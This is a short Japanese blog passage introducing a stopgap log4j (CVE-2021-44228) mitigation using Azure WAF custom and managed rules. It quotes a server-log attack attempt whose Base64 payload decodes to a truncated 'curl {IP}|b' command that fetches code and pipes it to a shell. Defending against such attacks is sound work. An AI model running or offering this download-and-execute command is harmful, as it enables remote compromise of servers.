はじめに Azure でのlog4jの脆弱性(CVE-2021-44228)の対策のひとつです。 アップデートするのが良いと思いますが一時しのぎということで Azure WAFでカスタムルールマネージドルールを設定して脆弱性の対策を行います。 (2021/12/16更新) ここではAzure WAFなどサービスの利用方法については記述しません。 セキュリティの専門家ではないのでご了承ください。 今回サーバーのログに残っていたものです。 一部IPなど修正しています。 Base64の中はcurl {IP}|b ...